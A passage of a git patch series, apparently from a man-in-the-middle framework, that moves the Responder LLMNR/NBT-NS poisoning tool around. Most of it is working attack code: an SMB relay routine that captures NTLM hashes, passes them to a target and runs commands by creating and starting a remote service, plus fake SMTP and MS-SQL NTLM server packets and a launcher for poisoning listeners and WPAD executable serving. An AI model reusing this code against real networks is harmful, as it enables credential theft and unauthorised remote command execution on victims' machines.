executed on host: %s. Won't execute again.\n" %(cmd, Client) - return True - else: - return False - - except: - raise - -#Function used to parse SMB NTLMv1/v2 -def ParseHash(data,Client, Target): - try: - lenght = struct.unpack('= 30: - Hash = data[65+LMhashLen:65+LMhashLen+NthashLen] - pack = tuple(data[89+NthashLen:].split('\x00\x00\x00'))[:2] - var = [e.replace('\x00','') for e in data[89+NthashLen:Bcc+60].split('\x00\x00\x00')[:2]] - Username, Domain = tuple(var) - if ReadData("SMBRelay-Session.txt", Client, Username): - print "[+]Auth from user %s with host %s previously failed. Won't relay."%(Username, Client) - pass - if Username in UserToRelay: - print '%s sent a NTLMv2 Response..\nVictim OS is : %s. Passing credentials to: %s'%(Client,RunSmbFinger((Client, 445)),Target) - print "Username : ",Username - print "Domain (if joined, if not then computer name) : ",Domain - return data[65:65+LMhashLen],data[65+LMhashLen:65+LMhashLen+NthashLen],Username,Domain, Client - if NthashLen == 24: - pack = tuple(data[89+NthashLen:].split('\x00\x00\x00'))[:2] - var = [e.replace('\x00','') for e in data[89+NthashLen:Bcc+60].split('\x00\x00\x00')[:2]] - Username, Domain = tuple(var) - if ReadData("SMBRelay-Session.txt", Client, Username): - print "Auth from user %s with host %s previously failed. Won't relay."%(Username, Client) - pass - if Username in UserToRelay: - print '%s sent a NTLMv1 Response..\nVictim OS is : %s. Passing credentials to: %s'%(Client,RunSmbFinger((Client, 445)),Target) - LMHashing = data[65:65+LMhashLen].encode('hex').upper() - NTHashing = data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex').upper() - print "Username : ",Username - print "Domain (if joined, if not then computer name) : ",Domain - return data[65:65+LMhashLen],data[65+LMhashLen:65+LMhashLen+NthashLen],Username,Domain, Client - else: - print "'%s' user was not specified in -u option, won't relay authentication. Allowed users to relay are: %s"%(Username,UserToRelay) - pass - - - except Exception: - raise - -#Detect if SMB auth was Anonymous -def Is_Anonymous(data): - LMhashLen = struct.unpack('=Windows Vista" - Logs.info(CLIENTIP+":"+Username) - ## NtCreateAndx - if data[8:10] == "\x73\x00": - print "[+] Authenticated, trying to PSexec on target !" - head = SMBHeader(cmd="\xa2",flag1="\x18", flag2="\x02\x28",mid="\x03\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) - t = SMBNTCreateData() - t.calculate() - packet0 = str(head)+str(t) - buffer1 = longueur(packet0)+packet0 - s.send(buffer1) - data = s.recv(2048) - ## Fail Handling. - if data[8:10] == "\xa2\x22": - print "[+] Exploit failed, NT_CREATE denied. SMB Signing mandatory or this user has no privileges on this workstation?" - ## DCE/RPC Write. - if data[8:10] == "\xa2\x00": - head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) - x = SMBDCEData() - x.calculate() - f = data[42:44] - t = SMBWriteData(FID=f,Data=x) - t.calculate() - packet0 = str(head)+str(t) - buffer1 = longueur(packet0)+packet0 - s.send(buffer1) - data = s.recv(2048) - ## DCE/RPC Read. - if data[8:10] == "\x2f\x00": - head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x05\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) - t = SMBReadData(FID=f) - t.calculate() - packet0 = str(head)+str(t) - buffer1 = longueur(packet0)+packet0 - s.send(buffer1) - data = s.recv(2048) - ## DCE/RPC SVCCTLOpenManagerW. - if data[8:10] == "\x2e\x00": - head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x06\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) - w = SMBDCESVCCTLOpenManagerW(MachineNameRefID="\x00\x00\x03\x00") - w.calculate() - x = SMBDCEPacketData(Data=w) - x.calculate() - t = SMBWriteData(FID=f,Data=x) - t.calculate() - packet0 = str(head)+str(t) - buffer1 = longueur(packet0)+packet0 - s.send(buffer1) - data = s.recv(2048) - ## DCE/RPC Read Answer. - if data[8:10] == "\x2f\x00": - head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x07\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) - t = SMBReadData(FID=f) - t.calculate() - packet0 = str(head)+str(t) - buffer1 = longueur(packet0)+packet0 - s.send(buffer1) - data = s.recv(2048) - ## DCE/RPC SVCCTLCreateService. - if data[8:10] == "\x2e\x00": - if data[len(data)-4:] == "\x05\x00\x00\x00": - print "[+] Failed to open SVCCTL Service Manager, is that user a local admin on this host?" - print "[+] Creating service" - head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x08\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) - ContextHandler = data[88:108] - ServiceNameChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(11)]) - ServiceIDChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(16)]) - FileChars = ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(6)])+'.bat' - w = SMBDCESVCCTLCreateService(ContextHandle=ContextHandler,ServiceName=ServiceNameChars,DisplayNameID=ServiceIDChars,ReferentID="\x21\x03\x03\x00",BinCMD=CMD) - w.calculate() - x = SMBDCEPacketData(Opnum="\x0c\x00",Data=w) - x.calculate() - t = SMBWriteData(Offset="\x9f\x01\x00\x00",FID=f,Data=x) - t.calculate() - packet0 = str(head)+str(t) - buffer1 = longueur(packet0)+packet0 - s.send(buffer1) - data = s.recv(2048) - ## DCE/RPC Read Answer. - if data[8:10] == "\x2f\x00": - head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x09\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) - t = SMBReadData(FID=f,MaxCountLow="\x40\x02", MinCount="\x40\x02",Offset="\x82\x02\x00\x00") - t.calculate() - packet0 = str(head)+str(t) - buffer1 = longueur(packet0)+packet0 - s.send(buffer1) - data = s.recv(2048) - ## DCE/RPC SVCCTLOpenService. - if data[8:10] == "\x2e\x00": - if data[len(data)-4:] == "\x05\x00\x00\x00": - print "[+] Failed to create the service" - - head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x0a\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) - w = SMBDCESVCCTLOpenService(ContextHandle=ContextHandler,ServiceName=ServiceNameChars) - w.calculate() - x = SMBDCEPacketData(Opnum="\x10\x00",Data=w) - x.calculate() - t = SMBWriteData(Offset="\x9f\x01\x00\x00",FID=f,Data=x) - t.calculate() - packet0 = str(head)+str(t) - buffer1 = longueur(packet0)+packet0 - s.send(buffer1) - data = s.recv(2048) - ## DCE/RPC Read Answer. - if data[8:10] == "\x2f\x00": - head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x0b\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) - t = SMBReadData(FID=f,MaxCountLow="\x40\x02", MinCount="\x40\x02",Offset="\x82\x02\x00\x00") - t.calculate() - packet0 = str(head)+str(t) - buffer1 = longueur(packet0)+packet0 - s.send(buffer1) - data = s.recv(2048) - ## DCE/RPC SVCCTLStartService. - if data[8:10] == "\x2e\x00": - if data[len(data)-4:] == "\x05\x00\x00\x00": - print "[+] Failed to open the service" - ContextHandler = data[88:108] - head = SMBHeader(cmd="\x2f",flag1="\x18", flag2="\x05\x28",mid="\x0a\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) - w = SMBDCESVCCTLStartService(ContextHandle=ContextHandler) - x = SMBDCEPacketData(Opnum="\x13\x00",Data=w) - x.calculate() - t = SMBWriteData(Offset="\x9f\x01\x00\x00",FID=f,Data=x) - t.calculate() - packet0 = str(head)+str(t) - buffer1 = longueur(packet0)+packet0 - s.send(buffer1) - data = s.recv(2048) - ## DCE/RPC Read Answer. - if data[8:10] == "\x2f\x00": - head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x0b\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) - t = SMBReadData(FID=f,MaxCountLow="\x40\x02", MinCount="\x40\x02",Offset="\x82\x02\x00\x00") - t.calculate() - packet0 = str(head)+str(t) - buffer1 = longueur(packet0)+packet0 - s.send(buffer1) - data = s.recv(2048) - if data[8:10] == "\x2e\x00": - print "[+] Command successful !" - Logs.info('Command successful:') - Logs.info(Target+","+Username+','+CMD) - return True - if data[8:10] != "\x2e\x00": - return False - - -def RunInloop(Target,Command,Domain): - try: - while True: - worker = RunRelay(Target,Command,Domain) - except: - raise - - -def main(): - try: - thread.start_new(RunInloop,(Target,Command,Domain)) - except KeyboardInterrupt: - exit() - -if __name__ == '__main__': - try: - main() - except KeyboardInterrupt: - raise - raw_input() diff --git a/libs/responder/SMTPPackets.py b/libs/responder/SMTPPackets.py deleted file mode 100644 index 65e252c..0000000 --- a/libs/responder/SMTPPackets.py +++ /dev/null @@ -1,74 +0,0 @@ -#! /usr/bin/env python -# NBT-NS/LLMNR Responder -# Created by Laurent Gaffie -# Copyright (C) 2014 Trustwave Holdings, Inc. -# -# This program is free software: you can redistribute it and/or modify -# it under the terms of the GNU General Public License as published by -# the Free Software Foundation, either version 3 of the License, or -# (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program. If not, see . -import struct -from odict import OrderedDict - -class Packet(): - fields = OrderedDict([ - ("data", ""), - ]) - def __init__(self, **kw): - self.fields = OrderedDict(self.__class__.fields) - for k,v in kw.items(): - if callable(v): - self.fields[k] = v(self.fields[k]) - else: - self.fields[k] = v - def __str__(self): - return "".join(map(str, self.fields.values())) - -#SMTP Greating class -class SMTPGreating(Packet): - fields = OrderedDict([ - ("Code", "220"), - ("Separator", "\x20"), - ("Message", "smtp01.local ESMTP"), - ("CRLF", "\x0d\x0a"), - ]) - -class SMTPAUTH(Packet): - fields = OrderedDict([ - ("Code0", "250"), - ("Separator0", "\x2d"), - ("Message0", "smtp01.local"), - ("CRLF0", "\x0d\x0a"), - ("Code", "250"), - ("Separator", "\x20"), - ("Message", "AUTH LOGIN PLAIN XYMCOOKIE"), - ("CRLF", "\x0d\x0a"), - ]) - -class SMTPAUTH1(Packet): - fields = OrderedDict([ - ("Code", "334"), - ("Separator", "\x20"), - ("Message", "VXNlcm5hbWU6"),#Username - ("CRLF", "\x0d\x0a"), - - ]) - -class SMTPAUTH2(Packet): - fields = OrderedDict([ - ("Code", "334"), - ("Separator", "\x20"), - ("Message", "UGFzc3dvcmQ6"),#Password - ("CRLF", "\x0d\x0a"), - - ]) - - diff --git a/libs/responder/SQLPackets.py b/libs/responder/SQLPackets.py deleted file mode 100644 index 7219392..0000000 --- a/libs/responder/SQLPackets.py +++ /dev/null @@ -1,167 +0,0 @@ -#! /usr/bin/env python -# NBT-NS/LLMNR Responder -# Created by Laurent Gaffie -# Copyright (C) 2014 Trustwave Holdings, Inc. -# -# This program is free software: you can redistribute it and/or modify -# it under the terms of the GNU General Public License as published by -# the Free Software Foundation, either version 3 of the License, or -# (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program. If not, see . -import struct -from odict import OrderedDict - -class Packet(): - fields = OrderedDict([ - ("data", ""), - ]) - def __init__(self, **kw): - self.fields = OrderedDict(self.__class__.fields) - for k,v in kw.items(): - if callable(v): - self.fields[k] = v(self.fields[k]) - else: - self.fields[k] = v - def __str__(self): - return "".join(map(str, self.fields.values())) - -#MS-SQL Pre-login packet class -class MSSQLPreLoginAnswer(Packet): - fields = OrderedDict([ - ("PacketType", "\x04"), - ("Status", "\x01"), - ("Len", "\x00\x25"), - ("SPID", "\x00\x00"), - ("PacketID", "\x01"), - ("Window", "\x00"), - ("TokenType", "\x00"), - ("VersionOffset", "\x00\x15"), - ("VersionLen", "\x00\x06"), - ("TokenType1", "\x01"), - ("EncryptionOffset", "\x00\x1b"), - ("EncryptionLen", "\x00\x01"), - ("TokenType2", "\x02"), - ("InstOptOffset", "\x00\x1c"), - ("InstOptLen", "\x00\x01"), - ("TokenTypeThrdID", "\x03"), - ("ThrdIDOffset", "\x00\x1d"), - ("ThrdIDLen", "\x00\x00"), - ("ThrdIDTerminator", "\xff"), - ("VersionStr", "\x09\x00\x0f\xc3"), - ("SubBuild", "\x00\x00"), - ("EncryptionStr", "\x02"), - ("InstOptStr", "\x00"), - ]) - - def calculate(self): - CalculateCompletePacket = str(self.fields["PacketType"])+str(self.fields["Status"])+str(self.fields["Len"])+str(self.fields["SPID"])+str(self.fields["PacketID"])+str(self.fields["Window"])+str(self.fields["TokenType"])+str(self.fields["VersionOffset"])+str(self.fields["VersionLen"])+str(self.fields["TokenType1"])+str(self.fields["EncryptionOffset"])+str(self.fields["EncryptionLen"])+str(self.fields["TokenType2"])+str(self.fields["InstOptOffset"])+str(self.fields["InstOptLen"])+str(self.fields["TokenTypeThrdID"])+str(self.fields["ThrdIDOffset"])+str(self.fields["ThrdIDLen"])+str(self.fields["ThrdIDTerminator"])+str(self.fields["VersionStr"])+str(self.fields["SubBuild"])+str(self.fields["EncryptionStr"])+str(self.fields["InstOptStr"]) - - VersionOffset = str(self.fields["TokenType"])+str(self.fields["VersionOffset"])+str(self.fields["VersionLen"])+str(self.fields["TokenType1"])+str(self.fields["EncryptionOffset"])+str(self.fields["EncryptionLen"])+str(self.fields["TokenType2"])+str(self.fields["InstOptOffset"])+str(self.fields["InstOptLen"])+str(self.fields["TokenTypeThrdID"])+str(self.fields["ThrdIDOffset"])+str(self.fields["ThrdIDLen"])+str(self.fields["ThrdIDTerminator"]) - - EncryptionOffset = VersionOffset+str(self.fields["VersionStr"])+str(self.fields["SubBuild"]) - - InstOpOffset = EncryptionOffset+str(self.fields["EncryptionStr"]) - - ThrdIDOffset = InstOpOffset+str(self.fields["InstOptStr"]) - - self.fields["Len"] = struct.pack(">h",len(CalculateCompletePacket)) - #Version - self.fields["VersionLen"] = struct.pack(">h",len(self.fields["VersionStr"]+self.fields["SubBuild"])) - self.fields["VersionOffset"] = struct.pack(">h",len(VersionOffset)) - #Encryption - self.fields["EncryptionLen"] = struct.pack(">h",len(self.fields["EncryptionStr"])) - self.fields["EncryptionOffset"] = struct.pack(">h",len(EncryptionOffset)) - #InstOpt - self.fields["InstOptLen"] = struct.pack(">h",len(self.fields["InstOptStr"])) - self.fields["EncryptionOffset"] = struct.pack(">h",len(InstOpOffset)) - #ThrdIDOffset - self.fields["ThrdIDOffset"] = struct.pack(">h",len(ThrdIDOffset)) - -#MS-SQL NTLM Negotiate packet class -class MSSQLNTLMChallengeAnswer(Packet): - fields = OrderedDict([ - ("PacketType", "\x04"), - ("Status", "\x01"), - ("Len", "\x00\xc7"), - ("SPID", "\x00\x00"), - ("PacketID", "\x01"), - ("Window", "\x00"), - ("TokenType", "\xed"), - ("SSPIBuffLen", "\xbc\x00"), - ("Signature", "NTLMSSP"), - ("SignatureNull", "\x00"), - ("MessageType", "\x02\x00\x00\x00"), - ("TargetNameLen", "\x06\x00"), - ("TargetNameMaxLen", "\x06\x00"), - ("TargetNameOffset", "\x38\x00\x00\x00"), - ("NegoFlags", "\x05\x02\x89\xa2"), - ("ServerChallenge", ""), - ("Reserved", "\x00\x00\x00\x00\x00\x00\x00\x00"), - ("TargetInfoLen", "\x7e\x00"), - ("TargetInfoMaxLen", "\x7e\x00"), - ("TargetInfoOffset", "\x3e\x00\x00\x00"), - ("NTLMOsVersion", "\x05\x02\xce\x0e\x00\x00\x00\x0f"), - ("TargetNameStr", "SMB"), - ("Av1", "\x02\x00"),#nbt name - ("Av1Len", "\x06\x00"), - ("Av1Str", "SMB"), - ("Av2", "\x01\x00"),#Server name - ("Av2Len", "\x14\x00"), - ("Av2Str", "SMB-TOOLKIT"), - ("Av3", "\x04\x00"),#Full Domain name - ("Av3Len", "\x12\x00"), - ("Av3Str", "smb.local"), - ("Av4", "\x03\x00"),#Full machine domain name - ("Av4Len", "\x28\x00"), - ("Av4Str", "server2003.smb.local"), - ("Av5", "\x05\x00"),#Domain Forest Name - ("Av5Len", "\x12\x00"), - ("Av5Str", "smb.local"), - ("Av6", "\x00\x00"),#AvPairs Terminator - ("Av6Len", "\x00\x00"), - ]) - - def calculate(self): - ##First convert to uni - self.fields["TargetNameStr"] = self.fields["TargetNameStr"].encode('utf-16le') - self.fields["Av1Str"] = self.fields["Av1Str"].encode('utf-16le') - self.fields["Av2Str"] = self.fields["Av2Str"].encode('utf-16le') - self.fields["Av3Str"] = self.fields["Av3Str"].encode('utf-16le') - self.fields["Av4Str"] = self.fields["Av4Str"].encode('utf-16le') - self.fields["Av5Str"] = self.fields["Av5Str"].encode('utf-16le') - ##Then calculate - - CalculateCompletePacket = str(self.fields["PacketType"])+str(self.fields["Status"])+str(self.fields["Len"])+str(self.fields["SPID"])+str(self.fields["PacketID"])+str(self.fields["Window"])+str(self.fields["TokenType"])+str(self.fields["SSPIBuffLen"])+str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"])+str(self.fields["TargetNameStr"])+str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"]) - - CalculateSSPI = str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"])+str(self.fields["TargetNameStr"])+str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"]) - - CalculateNameOffset = str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"]) - - CalculateAvPairsOffset = CalculateNameOffset+str(self.fields["TargetNameStr"]) - - CalculateAvPairsLen = str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"]) - - self.fields["Len"] = struct.pack(">h",len(CalculateCompletePacket)) - self.fields["SSPIBuffLen"] = struct.pack(". - -from UserDict import DictMixin - -class OrderedDict(dict, DictMixin): - - def __init__(self, *args, **kwds): - if len(args) > 1: - raise TypeError('expected at most 1 arguments, got %d' % len(args)) - try: - self.__end - except AttributeError: - self.clear() - self.update(*args, **kwds) - - def clear(self): - self.__end = end = [] - end += [None, end, end] - self.__map = {} - dict.clear(self) - - def __setitem__(self, key, value): - if key not in self: - end = self.__end - curr = end[1] - curr[2] = end[1] = self.__map[key] = [key, curr, end] - dict.__setitem__(self, key, value) - - def __delitem__(self, key): - dict.__delitem__(self, key) - key, prev, next = self.__map.pop(key) - prev[2] = next - next[1] = prev - - def __iter__(self): - end = self.__end - curr = end[2] - while curr is not end: - yield curr[0] - curr = curr[2] - - def __reversed__(self): - end = self.__end - curr = end[1] - while curr is not end: - yield curr[0] - curr = curr[1] - - def popitem(self, last=True): - if not self: - raise KeyError('dictionary is empty') - if last: - key = reversed(self).next() - else: - key = iter(self).next() - value = self.pop(key) - return key, value - - def __reduce__(self): - items = [[k, self[k]] for k in self] - tmp = self.__map, self.__end - del self.__map, self.__end - inst_dict = vars(self).copy() - self.__map, self.__end = tmp - if inst_dict: - return (self.__class__, (items,), inst_dict) - return self.__class__, (items,) - - def keys(self): - return list(self) - - setdefault = DictMixin.setdefault - update = DictMixin.update - pop = DictMixin.pop - values = DictMixin.values - items = DictMixin.items - iterkeys = DictMixin.iterkeys - itervalues = DictMixin.itervalues - iteritems = DictMixin.iteritems - - def __repr__(self): - if not self: - return '%s()' % (self.__class__.__name__,) - return '%s(%r)' % (self.__class__.__name__, self.items()) - - def copy(self): - return self.__class__(self) - - @classmethod - def fromkeys(cls, iterable, value=None): - d = cls() - for key in iterable: - d[key] = value - return d - - def __eq__(self, other): - if isinstance(other, OrderedDict): - return len(self)==len(other) and \ - min(p==q for p, q in zip(self.items(), other.items())) - return dict.__eq__(self, other) - - def __ne__(self, other): - return not self == other diff --git a/plugins/Responder.py b/plugins/Responder.py index 5b45825..2b1f22d 100644 --- a/plugins/Responder.py +++ b/plugins/Responder.py @@ -23,7 +23,7 @@ import os import threading from plugins.plugin import Plugin -from libs.responder.Responder import start_responder +import libs.responder.Responder as Responder from core.sslstrip.DnsCache import DnsCache from twisted.internet import reactor @@ -74,3 +74,117 @@ class Responder(Plugin): options.add_argument('--forcewpadauth', dest="Force_WPAD_Auth", default=False, action="store_true", help = "Set this if you want to force NTLM/Basic authentication on wpad.dat file retrieval. This might cause a login prompt in some specific cases. Therefore, default value is False") options.add_argument('--lm', dest="LM_On_Off", default=False, action="store_true", help="Set this if you want to force LM hashing downgrade for Windows XP/2003 and earlier. Default value is False") options.add_argument('--verbose', dest="Verbose", default=False, action="store_true", help="More verbose") + + + +def start_responder(options, ip_address, config): + + global VERSION; VERSION = '2.1.2' + + # Set some vars. + global On_Off; On_Off = config['HTTP'].upper() + global SSL_On_Off; SSL_On_Off = config['HTTPS'].upper() + global SMB_On_Off; SMB_On_Off = config['SMB'].upper() + global SQL_On_Off; SQL_On_Off = config['SQL'].upper() + global FTP_On_Off; FTP_On_Off = config['FTP'].upper() + global POP_On_Off; POP_On_Off = config['POP'].upper() + global IMAP_On_Off; IMAP_On_Off = config['IMAP'].upper() + global SMTP_On_Off; SMTP_On_Off = config['SMTP'].upper() + global LDAP_On_Off; LDAP_On_Off = config['LDAP'].upper() + global DNS_On_Off; DNS_On_Off = config['DNS'].upper() + global Krb_On_Off; Krb_On_Off = config['Kerberos'].upper() + global NumChal; NumChal = config['Challenge'] + global SessionLog; SessionLog = config['SessionLog'] + global Exe_On_Off; Exe_On_Off = config['HTTP Server']['Serve-Exe'].upper() + global Exec_Mode_On_Off; Exec_Mode_On_Off = config['HTTP Server']['Serve-Always'].upper() + global FILENAME; FILENAME = config['HTTP Server']['Filename'] + global WPAD_Script; WPAD_Script = config['HTTP Server']['WPADScript'] + #HTMLToServe = config.get('HTTP Server', 'HTMLToServe') + + global SSLcert; SSLcert = config['HTTPS Server']['cert'] + global SSLkey; SSLkey = config['HTTPS Server']['key'] + + global RespondTo; RespondTo = config['RespondTo'].strip() + RespondTo.split(",") + global RespondToName; RespondToName = config['RespondToName'].strip() + RespondToName.split(",") + global DontRespondTo; DontRespondTo = config['DontRespondTo'].strip() + DontRespondTo.split(",") + global DontRespondToName; DontRespondToName = config['DontRespondToName'].strip() + DontRespondToName.split(",") + + HTMLToServe = '' + + if len(NumChal) is not 16: + sys.exit("[-] The challenge must be exactly 16 chars long.\nExample: -c 1122334455667788\n") + + # Break out challenge for the hexidecimally challenged. Also, avoid 2 different challenges by accident. + global Challange; Challenge = "" + for i in range(0,len(NumChal),2): + Challenge += NumChal[i:i+2].decode("hex") + + #Cli options. + global OURIP; OURIP = ip_address + global LM_On_Off; LM_On_Off = options.LM_On_Off + global WPAD_On_Off; WPAD_On_Off = options.WPAD_On_Off + global Wredirect; Wredirect = options.Wredirect + global NBTNSDomain; NBTNSDomain = options.NBTNSDomain + global Basic; Basic = options.Basic + global Finger_On_Off; Finger_On_Off = options.Finger + global INTERFACE; INTERFACE = "Not set" + global Verbose; Verbose = options.Verbose + global Force_WPAD_Auth; Force_WPAD_Auth = options.Force_WPAD_Auth + global AnalyzeMode; AnalyzeMode = options.Analyse + + global ResponderPATH; ResponderPATH = "./logs/" + global BIND_TO_Interface; BIND_TO_Interface = "ALL" + + AnalyzeICMPRedirect() + + start_message = "Responder will redirect requests to: %s\n" % ip_address + start_message += "Challenge set: %s\n" % NumChal + start_message += "WPAD Proxy Server: %s\n" % WPAD_On_Off + start_message += "WPAD script loaded: %s\n" % WPAD_Script + start_message += "HTTP Server: %s\n" % On_Off + start_message += "HTTPS Server: %s\n" % SSL_On_Off + start_message += "SMB Server: %s\n" % SMB_On_Off + start_message += "SMB LM support: %s\n" % LM_On_Off + start_message += "Kerberos Server: %s\n" % Krb_On_Off + start_message += "SQL Server: %s\n" % SQL_On_Off + start_message += "FTP Server: %s\n" % FTP_On_Off + start_message += "IMAP Server: %s\n" % IMAP_On_Off + start_message += "POP3 Server: %s\n" % POP_On_Off + start_message += "SMTP Server: %s\n" % SMTP_On_Off + start_message += "DNS Server: %s\n" % DNS_On_Off + start_message += "LDAP Server: %s\n" % LDAP_On_Off + start_message += "FingerPrint hosts: %s\n" % Finger_On_Off + start_message += "Serving Executable via HTTP&WPAD: %s\n" % Exe_On_Off + start_message += "Always Serving a Specific File via HTTP&WPAD: %s\n" % Exec_Mode_On_Off + + logging.debug(start_message) + + try: + num_thrd = 1 + Is_FTP_On(FTP_On_Off) + Is_HTTP_On(On_Off) + Is_HTTPS_On(SSL_On_Off) + Is_WPAD_On(WPAD_On_Off) + Is_Kerberos_On(Krb_On_Off) + Is_SMB_On(SMB_On_Off) + Is_SQL_On(SQL_On_Off) + Is_LDAP_On(LDAP_On_Off) + Is_DNS_On(DNS_On_Off) + Is_POP_On(POP_On_Off) + Is_SMTP_On(SMTP_On_Off) + Is_IMAP_On(IMAP_On_Off) + #Browser listener loaded by default + thread.start_new(serve_thread_udp,('', 138,Browser)) + ## Poisoner loaded by default, it's the purpose of this tool... + thread.start_new(serve_thread_udp_MDNS,('', 5353,MDNS)) #MDNS + thread.start_new(serve_thread_udp,('', 88, KerbUDP)) + thread.start_new(serve_thread_udp,('', 137,NB)) #NBNS + thread.start_new(serve_thread_udp_LLMNR,('', 5355, LLMNR)) #LLMNR + while num_thrd > 0: + time.sleep(1) + except KeyboardInterrupt: + exit() From f71ffac973877f2bbecc03a6b05658e220b08768 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Mon, 30 Mar 2015 19:51:24 +0200 Subject: [PATCH 119/323] -Added Responder as submodule --- .gitmodules | 3 +++ libs/responder | 1 + 2 files changed, 4 insertions(+) create mode 160000 libs/responder diff --git a/.gitmodules b/.gitmodules index 65a6dc5..ddee204 100644 --- a/.gitmodules +++ b/.gitmodules @@ -1,3 +1,6 @@ [submodule "libs/bdfactory"] path = libs/bdfactory url = https://github.com/secretsquirrel/the-backdoor-factory +[submodule "libs/responder"] + path = libs/responder + url = https://github.com/SpiderLabs/Responder diff --git a/libs/responder b/libs/responder new file mode 160000 index 0000000..889bc59 --- /dev/null +++ b/libs/responder @@ -0,0 +1 @@ +Subproject commit 889bc5949f100a0b7d653293e48a4c2506751867 From 7a25108f9d7eeb48a7eebdd0f7e6c2b8a7e8269c Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Tue, 31 Mar 2015 10:56:53 +0200 Subject: [PATCH 120/323] Removed responder submodule --- .gitmodules | 3 - libs/responder | 1 - plugins/Responder.py | 207 ++++++++++++++++++++++--------------------- 3 files changed, 105 insertions(+), 106 deletions(-) delete mode 160000 libs/responder diff --git a/.gitmodules b/.gitmodules index ddee204..65a6dc5 100644 --- a/.gitmodules +++ b/.gitmodules @@ -1,6 +1,3 @@ [submodule "libs/bdfactory"] path = libs/bdfactory url = https://github.com/secretsquirrel/the-backdoor-factory -[submodule "libs/responder"] - path = libs/responder - url = https://github.com/SpiderLabs/Responder diff --git a/libs/responder b/libs/responder deleted file mode 160000 index 889bc59..0000000 --- a/libs/responder +++ /dev/null @@ -1 +0,0 @@ -Subproject commit 889bc5949f100a0b7d653293e48a4c2506751867 diff --git a/plugins/Responder.py b/plugins/Responder.py index 